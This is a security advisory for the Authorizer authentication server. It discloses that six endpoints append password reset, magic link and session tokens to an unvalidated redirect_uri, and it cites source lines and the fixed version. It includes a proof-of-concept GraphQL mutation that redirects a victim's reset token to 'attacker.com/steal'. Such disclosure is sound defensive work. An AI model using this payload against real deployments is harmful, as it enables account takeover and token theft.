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hoch8.6Noch keine CVE

GHSA-x3f4-v83f-7wp2

Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri

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Hi, I found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa). ## Affected Endpoints 1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens 2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens 3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens 4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens 5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state 6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh) ## Root Cause Because these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `["https://my-secure-app.com"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations. In `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation: if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" { redirectURI = refs.StringValue(params.RedirectURI) } The reset token is appended to this URL at `internal/utils/common.go:77`: func GetForgotPasswordURL(token, redirectURI string) string { verificationURL := redirectURI + "?token=" + token return verificationURL } Compare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { c.JSON(400, gin.H{"error": "invalid redirect url"}) return } This validation is missing from all 6 endpoints listed above. ## Most Severe Path: Full Token Theft via verify_email After a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL: params := "access_token=" + authToken.AccessToken.Token + "&token_type=bearer&expires_in=" + ... + "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly. Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header. ## PoC mutation { forgot_password(params: { email: "victim@example.com" redirect_uri: "https://attacker.com/steal" }) { message } } The victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker. ## Impact - Account takeover via stolen password reset tokens - Full session theft via stolen access_token + id_token + refresh_token - Passwordless account compromise via stolen magic link tokens - No authentication required to trigger (the GraphQL mutations are public) - Victim only needs to click the email link from their trusted Authorizer instance ## Additional Note The default `AllowedOrigins` at `cmd/root.go:39` is `["*"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration. Koda Reef

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ÖkosystemPaketBetroffenBehoben in
gogithub.com/authorizerdev/authorizer< 0.0.0-20260329085140-6d9bef1aaba30.0.0-20260329085140-6d9bef1aaba3

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